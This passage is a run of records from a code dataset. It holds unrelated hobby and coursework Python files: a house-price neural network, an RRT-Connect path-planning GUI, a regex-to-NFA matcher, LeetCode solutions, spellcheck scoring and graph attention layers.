Error:\", mean_squared_error(vytest, y_pred))\nprint(\"Root Mean Squared Error:\", np.sqrt(mean_squared_error(vytest, y_pred)) )\n\n\n# In[57]:\n\n\nfig, axs = plt.subplots(3)\naxs[0].set_title('Actual value')\naxs[0].plot(vytest)\naxs[1].set_title('Predicted value')\naxs[1].plot(y_pred)\naxs[2].set_title('Compared values')\naxs[2].plot(vytest)\naxs[2].plot(y_pred)\nfor ax in axs.flat:\n ax.label_outer()\n\n\n# ## Start Here\n\n# In[42]:\n\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.nn.init as init\n\n\n# In[43]:\n\n\nclass tmodel(nn.Module):\n def __init__(self,begin_size):\n super(tmodel,self).__init__()\n self.fc1 = nn.Linear(begin_size,32)\n init.normal_(self.fc1.weight)\n self.fc2 = nn.Linear(32,16)\n init.normal_(self.fc2.weight)\n self.fc3 = nn.Linear(16,1)\n init.normal_(self.fc3.weight)\n \n def forward(self,x):\n y_pred = F.relu(self.fc1(x))\n y_pred = F.relu(self.fc2(y_pred))\n y_pred = self.fc3(y_pred)\n return y_pred\nntmodel = tmodel(vxtrain.shape[1])\nprint(ntmodel)\n\n\n# In[44]:\n\n\ndef count_parameters(model):\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\ncount_parameters(ntmodel)\n\n\n# In[45]:\n\n\nnew_size_fvytrain = np.resize(vytrain,(len(vytrain),1))\nfvxtrain = vxtrain.astype(np.float32)\nfvytrain = new_size_fvytrain.astype(np.float32)\ntytrain = torch.from_numpy(fvytrain)\ntxtrain = torch.from_numpy(fvxtrain)\ncriterion = nn.L1Loss()\noptimizer = torch.optim.Adam(ntmodel.parameters(), lr=1e-4)\n\n\n# In[46]:\n\n\ndatatrain = torch.utils.data.TensorDataset(txtrain,tytrain)\n\n\n# In[47]:\n\n\ntraindata=torch.utils.data.DataLoader(datatrain, batch_size=5, shuffle= True)\ntraindata\n\n\n# In[48]:\n\n\nlosses1 = []\nfor epoch in range(500): # loop over the dataset multiple times\n\n running_loss = 0.0\n for i, data in enumerate(traindata, 0):\n # get the inputs; data is a list of [inputs, labels]\n inputs, labels = data\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward + backward + optimize\n outputs = ntmodel(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n # print statistics\n running_loss += loss.item()\n if i % 5 == 4: # print every 5 mini-batches\n print('[%d, %5d] loss: %.3f' %\n (epoch + 1, i + 1, running_loss / 5))\n running_loss = 0.0\n losses1.append(loss.item())\nprint('Finished Training')\n\n\n# In[49]:\n\n\nfvxtest = vxtest.astype(np.float32)\nfvytest = vytest.astype(np.float32)\ntytest = torch.from_numpy(fvytest)\ntxtest = torch.from_numpy(fvxtest)\n\n\n# In[50]:\n\n\ny_pred2 = ntmodel(txtest)\ny_pred2 = y_pred2.detach().numpy()\n\n\n# In[52]:\n\n\nfig, axs = plt.subplots(3)\naxs[0].set_title('Actual value')\naxs[0].plot(vytest)\naxs[1].set_title('Predicted value')\naxs[1].plot(y_pred2)\naxs[2].set_title('Compared values')\naxs[2].plot(vytest)\naxs[2].plot(y_pred2)\nfor ax in axs.flat:\n ax.label_outer()\n\n\n# In[53]:\n\n\nprint(\"Mean Absolute Error:\", mean_absolute_error(vytest, y_pred2))\nprint(\"Mean Squared Error:\", mean_squared_error(vytest, y_pred2))\nprint(\"Root Mean Squared Error:\", np.sqrt(mean_squared_error(vytest, y_pred2)) )\n\n","repo_name":"Suchawit/House-Price-Prediction","sub_path":"House-Price-Prediction-Project_finished.py","file_name":"House-Price-Prediction-Project_finished.py","file_ext":"py","file_size_in_byte":15965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"40846951188","text":"\"\"\"Application to automatically keep track of PDFs.\"\"\"\n\nfrom collections import defaultdict\nfrom functools import partial\nimport os\nimport sys\nimport time\n\nfrom PySide2.QtWidgets import (QApplication, QDialog, QListWidget,\n QListWidgetItem, QVBoxLayout, QHBoxLayout,\n QPushButton, QAbstractItemView,\n QSizePolicy)\nfrom matplotlib.backends.backend_qt5agg import (FigureCanvas)\nfrom matplotlib.figure import Figure\nimport numpy as np\nfrom PySide2 import QtCore\n\nclass Tree():\n def __init__(self, root_node):\n self.nodes = [root_node]\n self.root = root_node\n \n def add_child(self, node, parent):\n self.nodes.append(node)\n node.parent = parent\n parent.children.append(node)\n\nclass Node():\n def __init__(self, pose, parent=None):\n self.pose = np.array(pose)\n self.parent = parent\n self.children = []\n\nclass GUI(QDialog):\n def __init__(self, parent=None):\n super(GUI, self).__init__(parent)\n\n self.sample_1_button = QPushButton('1 sample')\n self.sample_1_button.clicked.connect(partial(GUI.steps, self, 1))\n self.sample_10_button = QPushButton('10 samples')\n self.sample_10_button.clicked.connect(partial(GUI.steps, self, 10))\n self.sample_100_button = QPushButton('100 samples')\n self.sample_100_button.clicked.connect(partial(GUI.steps, self, 100))\n self.reset_button = QPushButton('Reset')\n self.reset_button.clicked.connect(self.reset)\n self.figure = Figure(dpi=85,\n facecolor=(1, 1, 1),\n edgecolor=(0, 0, 0))\n self.ax = self.figure.subplots()\n self.figure_canvas = FigureCanvas(self.figure)\n self.figure_canvas.setSizePolicy(QSizePolicy.Expanding, \n QSizePolicy.Expanding)\n\n layout = QHBoxLayout()\n settings_layout = QVBoxLayout()\n settings_layout.addWidget(self.sample_1_button)\n settings_layout.addWidget(self.sample_10_button)\n settings_layout.addWidget(self.sample_100_button)\n settings_layout.addWidget(self.reset_button)\n layout.addLayout(settings_layout, 1)\n\n layout.addWidget(self.figure_canvas, 2)\n self.setLayout(layout)\n \n self.samples = []\n self.map = np.zeros((100,100))\n self.map[30:40,0:70] = 1\n self.map[50:70,30:40] = 1\n self.map[50:100,60:70] = 1\n self.map[10:20,50:60] = 1\n self.vertices = []\n self.start = np.array([10,10])\n self.goal = np.array([10,90])\n \n self.step_size = 4\n \n self.reset()\n self.start_tree = Tree(Node(self.start))\n self.goal_tree = Tree(Node(self.goal))\n self.tree = self.start_tree\n self.other_tree = self.goal_tree\n \n \n self.trees_connected = False\n self.tree_connecting_nodes = []\n \n def reset(self):\n self.start_tree = Tree(Node(self.start))\n self.goal_tree = Tree(Node(self.goal))\n self.tree = self.start_tree\n self.other_tree = self.goal_tree\n self.trees_connected = False\n self.tree_connecting_nodes = []\n \n self.update_plot(self.map)\n \n def distance(self, pose_1, pose_2):\n return np.linalg.norm((pose_1 - pose_2))\n \n def closest_node(self, tree, pose):\n queue = [tree.root]\n best = None\n smallest_distance = 10000\n while len(queue):\n node = queue.pop(0)\n dist = self.distance(node.pose, pose)\n if dist < smallest_distance:\n best = node\n smallest_distance = dist\n for child in node.children:\n queue.append(child)\n \n return best, smallest_distance\n \n def collision_free(self, pose):\n index = (pose+0.5).astype(np.int)\n try:\n if self.map[index[1],index[0]] != 0:\n return False\n else:\n return True\n except:\n return False\n \n def steps(self, n):\n for i in np.arange(n):\n sample = np.array([np.random.uniform(0,self.map.shape[0]+1), np.random.uniform(0,self.map.shape[1]+1)])\n \n closest_node, distance = self.closest_node(self.tree, sample)\n \n if distance >= self.step_size:\n new_pose = closest_node.pose + self.step_size*(sample - closest_node.pose) / distance\n \n if self.collision_free(new_pose):\n new_node = Node(new_pose)\n self.tree.add_child(new_node, closest_node)\n \n closest_node_other, total_distance = self.closest_node(self.other_tree, new_pose)\n current_node_other = closest_node_other\n \n while True and not self.trees_connected:\n cur_distance = np.linalg.norm(current_node_other.pose - new_node.pose)\n if cur_distance < self.step_size:\n new_pose_other = new_pose\n else:\n new_pose_other = current_node_other.pose + self.step_size*(new_pose - closest_node_other.pose) / total_distance\n \n if self.collision_free(new_pose_other):\n new_node_other = Node(new_pose_other)\n self.other_tree.add_child(new_node_other, current_node_other)\n \n current_node_other = new_node_other\n if cur_distance < self.step_size:\n if not self.trees_connected:\n self.tree_connecting_nodes = [\n new_node,\n new_node_other\n ]\n self.trees_connected = True\n break\n else:\n break\n\n if self.tree is self.start_tree:\n self.tree = self.goal_tree\n self.other_tree = self.start_tree\n elif self.tree is self.goal_tree:\n self.tree = self.start_tree\n self.other_tree = self.goal_tree\n\n self.update_plot(self.map, sample)\n\n def update_plot(self, map, sample=None):\n self.ax.clear()\n self.ax.imshow(map,cmap='gray_r')\n \n queue = [self.start_tree.root]\n while len(queue):\n node = queue.pop(0)\n self.ax.scatter(node.pose[0], node.pose[1], c='k', s=10, zorder=2)\n if node.parent is not None:\n self.ax.plot([node.pose[0], node.parent.pose[0]], \n [node.pose[1], node.parent.pose[1]],\n c = 'k', zorder=1)\n for child in node.children:\n queue.append(child)\n \n queue = [self.goal_tree.root]\n while len(queue):\n node = queue.pop(0)\n self.ax.scatter(node.pose[0], node.pose[1], c='k', s=10, zorder=2)\n if node.parent is not None:\n self.ax.plot([node.pose[0], node.parent.pose[0]], \n [node.pose[1], node.parent.pose[1]],\n c = 'k', zorder=1)\n for child in node.children:\n queue.append(child)\n \n if self.trees_connected:\n for start_node in self.tree_connecting_nodes:\n node = start_node\n while node.parent is not None:\n self.ax.plot([node.pose[0], node.parent.pose[0]], \n [node.pose[1], node.parent.pose[1]],\n c = 'r', zorder=1)\n node = node.parent\n \n \n \n self.ax.scatter(self.start[0], self.start[1], zorder=3, s=40)\n self.ax.scatter(self.goal[0], self.goal[1], zorder=3, s=40)\n if sample is not None:\n self.ax.scatter(sample[0],sample[1], zorder=3, s=25)\n \n self.ax.set_xlim(0,map.shape[0])\n self.ax.set_ylim(0,map.shape[1])\n self.figure.canvas.draw()\n\n\ndef main():\n \"\"\"Execute the program.\"\"\"\n app = QApplication(sys.argv)\n\n gui = GUI()\n gui.show()\n\n app.exec_()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"roym899/motion_planning","sub_path":"rrt_connect.py","file_name":"rrt_connect.py","file_ext":"py","file_size_in_byte":8622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25346934470","text":"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef main():\r\n A = np.array([1, 2, 3, 4])\r\n B = np.array((4, 5, 6, 7))\r\n C = np.array([(1, 2, 3, 4), (5, 6, 7, 8)], dtype = float) # 2D array\r\n D = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]) # matrix\r\n #print(D, type(D))\r\n\r\n u = np.array([1, 2, 3])\r\n v = np.array([1, 1, 1])\r\n #print(np.dot(u, v))\r\n\r\n a = np.array([[1, 2], [3, 4]])\r\n b = np.array([[5, 6], [7, 8]])\r\n #print(np.dot(a, b))\r\n #print(a)\r\n #print(np.transpose(a))\r\n #print(np.linalg.det(a))\r\n #print(np.linalg.inv(a))\r\n #print(np.linalg.eig(a)) # eigen vectors with eigen values\r\n\r\n h = np.array([1, 2, 1, 2, 3, 2, 37, 4, 3, 4, 5, 4])\r\n #print(np.mean(h))\r\n #print(np.median(h))\r\n #print(np.std(h)) # standard deviation, deviating from mean value\r\n #print(np.var(h)) # std**2 how spread out data is\r\n\r\n x = np.array([0, 1, 2, 3, 4])\r\n y = np.array([21, 38, 59, 114, 281])\r\n f = np.polyfit(x, y, 2) # x, y, degree polynomial\r\n #print(f) # coefficients\r\n F = np.poly1d(f)\r\n print(F) # actual function\r\n\r\n X = np.linspace(-10, 10, 50) # HIGHER NUMBER = SMOOTHER GRAPH\r\n Y = F(X)\r\n plt.plot(x, y, 'ro', X, Y, 'k')\r\n plt.legend('data points', 'fitted cuve')\r\n plt.xlabel('x-coordinate')\r\n plt.ylabel('y-coordinate')\r\n plt.grid()\r\n plt.show()\r\n\r\n plt.scatter(x, y)\r\n plt.grid()\r\n plt.show()\r\n\r\nmain()\r\n","repo_name":"kuzbijc/UIC-CS-Code","sub_path":"numpy.py","file_name":"numpy.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16589639468","text":"# my own solution\nclass Solution(object):\n def lengthOfLongestSubstring(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n if len(s) == 1:\n return 1\n else:\n max_len = 0\n index_1 = 0\n while index_1 < len(s):\n index_2 = index_1 + 1\n while index_2 < len(s):\n if s[index_2] in s[index_1: index_2]:\n max_len = max(max_len, index_2 - index_1)\n break\n else:\n max_len = max(max_len, index_2 - index_1 + 1)\n index_2 += 1\n index_1 += 1\n\n return max_len\n\n# optimised solution from leetcode\n\nclass Solution(object):\n def lengthOfLongestSubstring(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n mp = {}\n ans = 0\n i = 0\n for j in range(len(s)):\n if s[j] in mp:\n i = max(mp[s[j]], i)\n\n ans = max(j - i + 1, ans)\n mp[s[j]] = j+1\n return ans\n\n\nx = Solution().lengthOfLongestSubstring('abcbad')","repo_name":"joseph-muen/leetcode","sub_path":"algorithm/3. Longest substring without repeating characters/3 Longest substring without repeating characters.py","file_name":"3 Longest substring without repeating characters.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5821063834","text":"class Stack(list):\n def top(self):\n return self[-1]\n\n def empty(self):\n return len(self) == 0\n\n def push(self, item):\n self.append(item)\n\nclass Literal:\n def __init__(self, c):\n self.c = c\n\nclass Or:\n def __init__(self, lhs, rhs):\n self.lhs = lhs\n self.rhs = rhs\n\nclass Concat:\n def __init__(self, lhs, rhs):\n self.lhs = lhs\n self.rhs = rhs\n\nclass Repeat:\n def __init__(self, expr):\n self.expr = expr\n\nclass Plus:\n def __init__(self, expr):\n self.expr = expr\n\nclass Regex:\n RegexOpPrecedence = {\n '(' : 1,\n '|' : 2,\n '.' : 3,\n '?' : 4,\n '*' : 4,\n '+' : 4,\n '^' : 5,\n }\n\n def __init__(self, pattern, op_precedence=None):\n self._pattern = pattern\n if op_precedence is None:\n self._precedence = Regex.RegexOpPrecedence\n else:\n self._precedence = op_precedence\n\n def get_right_associativity(self, c):\n prec = self._precedence.get(c, 6)\n return prec < 0\n\n def get_precedence(self, c):\n prec = self._precedence.get(c, 6)\n return abs(prec)\n\n def format_regex(self, regex, result=\"\"):\n all_operators = ['|', '?', '+', '*', '^']\n binary_operators = ['^', '|']\n\n if not regex:\n return result\n\n c1 = regex[0]\n c2 = ' '\n if len(regex) >= 2:\n c2 = regex[1]\n\n tmp = ''\n if c1 != '(' and c2 != ')' and c2 != ' ' and (c2 not in all_operators) and (c1 not in binary_operators):\n tmp = '.'\n\n return self.format_regex(regex[1:], result + c1 + tmp)\n\n def infix2postfix(self, input, stack=Stack(), postfix=\"\"):\n if not input:\n while not stack.empty():\n postfix += stack.pop()\n return postfix\n\n c = input[0]\n\n if c == '(':\n stack.append(c)\n elif c == ')':\n stack_elms_to_pop = []\n for i in stack:\n if i == ')':\n break\n stack_elms_to_pop.append(i)\n stack_elms_to_pop.reverse()\n postfix += \"\".join(stack_elms_to_pop)\n stack = stack[len(stack_elms_to_pop) + 1:]\n else:\n stack_to_take = []\n c_precedence = self.get_precedence(c)\n\n while not stack.empty() and self.get_precedence(stack.top()) > c_precedence:\n stack_to_take.append(stack.pop())\n\n postfix += \"\".join(stack_to_take)\n\n stack.push(c)\n\n return self.infix2postfix(input[1:], stack, postfix)\n\n\n def postfix2tree(self, postfix):\n stack = []\n\n for c in postfix:\n if c == '.':\n rhs = stack.pop()\n lhs = stack.pop()\n concat_expr = Concat(lhs, rhs)\n stack.append(concat_expr)\n elif c == '*':\n top_expr = stack.pop()\n repeat_expr = Repeat(top_expr)\n stack.append(repeat_expr)\n elif c == '+':\n top_expr = stack.pop()\n plus_expr = Plus(top_expr)\n stack.append(plus_expr)\n elif c == '|':\n rhs = stack.pop()\n lhs = stack.pop()\n or_expr = Or(lhs, rhs)\n stack.append(or_expr)\n else:\n expr = Literal(c)\n stack.append(expr)\n\n assert(len(stack) == 1)\n return stack.pop()\n\n class Consume:\n def __init__(self, c, out):\n self.c = c\n self.out = out\n\n class Split:\n def __init__(self, out1, out2):\n self.out1 = out1\n self.out2 = out2\n\n class Placeholder:\n def __init__(self, pointing_to):\n self.pointing_to = pointing_to\n\n class Match:\n pass\n\n def regex2NFA(self, regex, nextState = Match()):\n if isinstance(regex, Literal):\n return Regex.Consume(regex.c, nextState)\n elif isinstance(regex, Concat):\n return self.regex2NFA(regex.lhs, self.regex2NFA(regex.rhs, nextState))\n elif isinstance(regex, Or):\n return Regex.Split(self.regex2NFA(regex.lhs, nextState), self.regex2NFA(regex.rhs, nextState))\n elif isinstance(regex, Repeat):\n placeholder = Regex.Placeholder(None)\n split = Regex.Split(self.regex2NFA(regex.expr, placeholder), nextState)\n placeholder.pointing_to = split\n return placeholder\n elif isinstance(regex, Plus):\n return self.regex2NFA(Concat(regex.expr, Repeat(regex.expr)), nextState)\n\n def evaluate_nfa_recursive(self, root, string_to_match):\n if isinstance(root, Regex.Match):\n if not string_to_match:\n return True\n else:\n return False\n elif isinstance(root, Regex.Split):\n return self.evaluate_nfa_recursive(root.out1, string_to_match) | self.evaluate_nfa_recursive(root.out2, string_to_match)\n elif isinstance(root, Regex.Consume):\n if not string_to_match:\n return False\n elif root.c != string_to_match[0]:\n return False\n else:\n return self.evaluate_nfa_recursive(root.out, string_to_match[1:])\n elif isinstance(root, Regex.Placeholder):\n return self.evaluate_nfa_recursive(root.pointing_to, string_to_match)\n\n\n def compile(self):\n formatted_regex = self.format_regex(\"ab*|c+d\")\n postfix = self.infix2postfix(formatted_regex)\n tree = self.postfix2tree(postfix)\n self._nfa = self.regex2NFA(tree)\n\n def match(self, string_to_match):\n return self.evaluate_nfa_recursive(self._nfa, string_to_match)\n\ndef main():\n regex = Regex(\"ab*|c+d\")\n regex.compile()\n match = regex.match(\"cccccccccccccccd\")\n print(match)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ssarangi/algorithms","sub_path":"misc/regex.py","file_name":"regex.py","file_ext":"py","file_size_in_byte":5954,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"24723720735","text":"# https://academy.cs.cmu.edu/sharing/antiqueWhiteHorse6130\n# This is some sort of physics simulation I made. The ball can move, gain velocity, and move based upon the momentum of the object. Friction then slows it down.\n\n# dynamic velocity demo\n\ndbg = Label(\"accelX: 0, accelY: 0, speed: 0\", 200, 10)\n\nobject = Circle(200, 200, 10, fill='white', border='black')\nobject.velocityX = 0\nobject.velocityY = 0\nobject.accelerationRate = 0.25\nobject.maxSpeed = 10\nobject.frictionRate = 0.1\n\ndef onKeyHold(keys):\n if 'w' in keys:\n if abs(object.velocityX) + abs(object.velocityY) <= object.maxSpeed:\n object.velocityY -= object.accelerationRate\n if 's' in keys:\n if abs(object.velocityX) + abs(object.velocityY) <= object.maxSpeed:\n object.velocityY += object.accelerationRate\n if 'a' in keys:\n if abs(object.velocityX) + abs(object.velocityY) <= object.maxSpeed:\n object.velocityX -= object.accelerationRate\n if 'd' in keys:\n if abs(object.velocityX) + abs(object.velocityY) <= object.maxSpeed:\n object.velocityX += object.accelerationRate\n\ndef onStep():\n dbg.value = f\"accelX: {object.velocityX}, accelY: {object.velocityY}, speed: {object.velocityX + object.velocityY}\"\n object.centerX += object.velocityX\n object.centerY += object.velocityY\n \n if object.velocityX < 0 and object.velocityX != 0:\n object.velocityX += object.frictionRate\n elif object.velocityX > 0 and object.velocityX != 0:\n object.velocityX -= object.frictionRate\n\n if object.velocityY < 0 and object.velocityY != 0:\n object.velocityY += object.frictionRate\n elif object.velocityY > 0 and object.velocityY != 0:\n object.velocityY -= object.frictionRate\n","repo_name":"xzavyeradams/CMUCS-Collection","sub_path":"velocitydemo.py","file_name":"velocitydemo.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73646165208","text":"import os\nfrom tools.utils import get_parent_dir, try_read, true_counter, mkdir_no_over, get_child_ext_path\nfrom tools.pdf_tools import prep_and_tokenise, read_doc_metadata\nimport random\nimport json\nfrom enchant.checker import SpellChecker\nfrom tqdm.notebook import tqdm\n\n#######################\n## SCORING FUNCTIONS ##\n#######################\n\n## spellcheck_score\ndef word_is_correct_Q(w,\n lang_code,\n max_error_allowed = 0,\n ):\n d = SpellChecker(lang_code)\n d.set_text(w)\n errors = [err.word for err in d]\n if (len(errors) <= max_error_allowed):\n return True\n else:\n return False\n \n\ndef spellcheck_score(conv_txt, lang_codes, max_words_per_doc):\n # get list of words in the document\n _,doc_wordlist = prep_and_tokenise(conv_txt)\n if max_words_per_doc:\n doc_wordlist_sample = []\n for _ in range(max_words_per_doc):\n doc_wordlist_sample.append(random.choice(doc_wordlist))\n doc_wordlist = doc_wordlist_sample\n # get lang code for spell checker\n score = 0\n for lang_code in lang_codes:\n try:\n cc = true_counter(funcQ=word_is_correct_Q, elems=doc_wordlist, lang_code=lang_code)\n tc = len(doc_wordlist)\n score = score + cc/(tc+1)\n except:\n print('Warning: dictionary for {0} not installed. install it via aspell/hunspell/myspell.'.format(lang_code))\n print('e.g. sudo apt install aspell-{0}'.format(lang_code))\n return score\n\n \n############################\n## EVALUATE TOOLS ON DATA ##\n############################\ndef eval_tools_scores(dir_paths,\n score_names,\n scoring_funs,\n lang_codes='',\n conv_tool_names=[],\n store_path='',\n filename='',\n max_words_per_doc=None,\n ):\n scores_dir_path = get_parent_dir(store_path)\n scores_filepath = store_path\n scores_by_tool = try_read(scores_filepath, alt={})\n if type(scores_by_tool) == str:\n scores_by_tool = json.loads(scores_by_tool)\n mkdir_no_over(scores_dir_path)\n for dir_path in tqdm(dir_paths):\n for tool_name in conv_tool_names:\n conv_txt_path = get_child_ext_path(os.path.join(dir_path,tool_name), [filename]) \n with open(conv_txt_path, 'r') as f:\n conv_txt = f.read()\n meta_path = get_child_ext_path(dir_path, ['.json'])\n for score_name in score_names:\n if (score_name not in scores_by_tool.keys()) or (tool_name not in scores_by_tool[score_name].keys()):\n try:\n scores_by_tool[score_name]\n except KeyError:\n scores_by_tool[score_name] = dict()\n scoring_fun = scoring_funs[score_name]\n if not lang_codes:\n metadata = read_doc_metadata(meta_path, path_type='meta')\n lang_codes = metadata['lang_codes']\n score = scoring_fun(conv_txt, lang_codes, max_words_per_doc)\n \n try:\n scores_by_tool[score_name][tool_name] *= score\n except KeyError:\n scores_by_tool[score_name][tool_name] = score\n with open(scores_filepath, 'w+') as f:\n json.dump(scores_by_tool, f)\n return scores_by_tool\n\n \n\n","repo_name":"e-lubrini/psylve","sub_path":"src/text_extraction/tools/eval_tools.py","file_name":"eval_tools.py","file_ext":"py","file_size_in_byte":3579,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"12909609263","text":"from handlers.json_handler import JSONHandler\nfrom handlers.yaml_handler import YAMLHandler\n\n\nclass TranslatorFactory:\n handlers = [JSONHandler, YAMLHandler, ]\n\n def translate_file(self, file_path, target_lang, source_lang=None):\n\n handler_class = self.find_handler(file_path)\n if handler_class:\n handler = handler_class(file_path, target_lang, source_lang)\n handler.run_translation()\n else:\n print(f\"No handler found for file {file_path}\")\n\n def find_handler(self, file):\n for handler_class in self.handlers:\n if handler_class.can_handle(file):\n return handler_class\n\n # if file.endswith('.csv'):\n # csv_handler.translate(file, columns_to_translate=[1, ])\n # if file.endswith('.yaml') or file.endswith('.yml'):\n # yaml_handler.translate(file, target_lang)\n # if file.endswith('.json'):\n # json_handler.translate(file, target_lang)\n","repo_name":"ceasaro/ceasaro_py","sub_path":"translation/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19373569061","text":"import tkinter\n\nimport solver.state\n\nfrom . puzzlesaver import PuzzleSaver\n\nclass ViewFrame(tkinter.Frame):\n \"\"\"Frame to contain current view.\"\"\"\n\n def __init__(self, master):\n tkinter.Frame.__init__(self, master)\n self.grid_rowconfigure(0, weight=1)\n self.grid_columnconfigure(0, weight=1)\n\n self.content = None\n\n solver.state.view.onChange(self.onViewChange)\n solver.state.puzzle.change(None)\n\n solver.state.mode.vitoChange(self.vitoPuzzleOrModeChange)\n solver.state.puzzle.vitoChange(self.vitoPuzzleOrModeChange)\n solver.state.quitting.vitoChange(self.vitoQuitting)\n solver.state.wiping.vitoChange(self.vitoWiping)\n\n def setContent(self, frame):\n if self.content != None:\n self.content.grid_forget()\n self.content = frame\n self.content.grid(sticky=\"nsew\")\n\n def vitoPuzzleOrModeChange(self, _):\n return not solver.state.wiping.attempt()\n\n def vitoQuitting(self, _):\n return not solver.state.wiping.attempt()\n\n def vitoWiping(self, _):\n return not PuzzleSaver().check(self)\n\n def onViewChange(self, view):\n frame = (\n tkinter.Label(self, text=\"No puzzle type is currently selected.\")\n if view == None else view.getFrame(self))\n self.setContent(frame)\n\n","repo_name":"andyrooger/PuzzleSolver","sub_path":"PuzzleSolver/solver/gui/viewframe.py","file_name":"viewframe.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"1976739104","text":"from typing import Optional, Tuple, Union\n\nimport torch\nimport torch.nn.functional as F\nfrom torch import Tensor\nfrom torch.nn import Parameter\n\nfrom torch_geometric.nn.conv import MessagePassing\nfrom torch_geometric.nn.dense.linear import Linear\nfrom torch_geometric.nn.inits import glorot, zeros\nfrom torch_geometric.typing import Adj, OptTensor, PairTensor\nfrom torch_geometric.utils import add_self_loops, remove_self_loops, softmax\n\nclass GATEdgeConv(MessagePassing):\n _alpha: OptTensor\n\n def __init__(\n self,\n in_channels: Union[int, Tuple[int, int]],\n out_channels: int,\n negative_slope: float = 0.2,\n edge_dim: Optional[int] = None,\n **kwargs,\n ):\n super().__init__(node_dim=0, **kwargs)\n\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.negative_slope = negative_slope\n self.edge_dim = edge_dim\n\n self.att = Parameter(torch.Tensor(1, 1, out_channels))\n self.mlp_edge = torch.nn.Sequential(\n Linear(12, 12),\n torch.nn.Tanh(),\n Linear(12, 6),\n torch.nn.Tanh(),\n )\n self.lin = Linear(6, 1)\n self.lin1 = Linear(6, 1)\n\n self.register_parameter('bias', None)\n self._alpha = None\n self.reset_parameters()\n\n def reset_parameters(self):\n ...\n\n def forward(self, x: Union[Tensor, PairTensor], edge_index: Adj,\n edge_attr: OptTensor = None):\n if isinstance(x, Tensor):\n x: PairTensor = (x, x)\n\n out = self.propagate(edge_index, x=x, edge_attr=edge_attr,\n size=None)\n self._alpha = None\n\n out = out.view(-1, self.out_channels)\n if torch.any(torch.isnan(out)):\n print('GATEdgeConv is nan')\n out[torch.isnan(out)] = 0\n return out\n\n def message(self, x_i, x_j, edge_attr: OptTensor,\n index: Tensor, ptr: OptTensor,\n size_i: Optional[int]) -> Tensor:\n #x_i is the cell\n edge_attr = edge_attr.view(-1, 3)\n #scale = 1/(edge_attr[:, :1]+1e-7)\n scale = 1/(1 + edge_attr[:, :1])\n\n v_ij = x_i[:, :2] - x_j[:, :2]\n dot_product = (v_ij[:, 0] * edge_attr[:, 1] + v_ij[:, 1] * edge_attr[:, 2]).unsqueeze(1) #negativ means moving towards each other - positiv means away\n input = torch.cat((dot_product, scale, x_i[:, -10:]), dim=1)\n\n mij = self.mlp_edge(input)\n\n x = self.lin(mij).unsqueeze(dim=1)\n x = F.leaky_relu(x, self.negative_slope)\n alpha = (x * self.att).sum(dim=-1)\n alpha = softmax(alpha, index, ptr, size_i)\n self._alpha = alpha\n #x = (mij * alpha).view(-1, 1) * edge_attr[:, 1:3]\n x = (self.lin1(mij) * alpha).view(-1, 1) * edge_attr[:, 1:3]\n return torch.tanh(x.unsqueeze(dim=1))\n\n def __repr__(self) -> str:\n return (f'{self.__class__.__name__}({self.in_channels}, '\n f'{self.out_channels}, heads={1})')\n\n\nclass GATConv(MessagePassing):\n _alpha: OptTensor\n\n def __init__(\n self,\n in_channels: Union[int, Tuple[int, int]],\n out_channels: int,\n negative_slope: float = 0.2,\n add_self_loops: bool = True,\n edge_dim: Optional[int] = None,\n fill_value: Union[float, Tensor, str] = 'mean',\n **kwargs,\n ):\n super().__init__(node_dim=0, **kwargs)\n\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.negative_slope = negative_slope\n self.add_self_loops = add_self_loops\n self.edge_dim = edge_dim\n self.fill_value = fill_value\n self.register_parameter('bias', None)\n\n self.att_x = Parameter(torch.Tensor(1, 1, 1))\n self.att_h = Parameter(torch.Tensor(1, 1, 10))\n\n input = (in_channels-2)*2+1+3\n self.mlp = torch.nn.Sequential(\n Linear(input, input),\n torch.nn.Tanh(),\n Linear(input, 11),\n torch.nn.Tanh(),\n )\n self.lin_x = Linear(11, 1)\n self.lin_h = Linear(11, 10)\n self._alpha = None\n self.lin_x1 = Linear(11, 1)\n self.lin_h1 = Linear(11, 10)\n self.reset_parameters()\n\n def reset_parameters(self):\n ...\n\n def forward(self, x: Union[Tensor, PairTensor], edge_index: Adj,\n edge_attr: OptTensor = None):\n out = self.propagate(edge_index, x=x, edge_attr=edge_attr,\n size=None)\n out = out.view(-1, self.out_channels)\n #TODO should we add conv on x_i itself on top of this?\n if torch.any(torch.isnan(out)):\n print('GATCONV is nan')\n out[torch.isnan(out)] = 0\n\n self._alpha = None\n return out\n\n def message(self, x_j: Tensor, x_i: Tensor, edge_attr: OptTensor,\n index: Tensor, ptr: OptTensor,\n size_i: Optional[int]) -> Tensor:\n edge_attr = edge_attr.view(-1, 3)\n #scale = 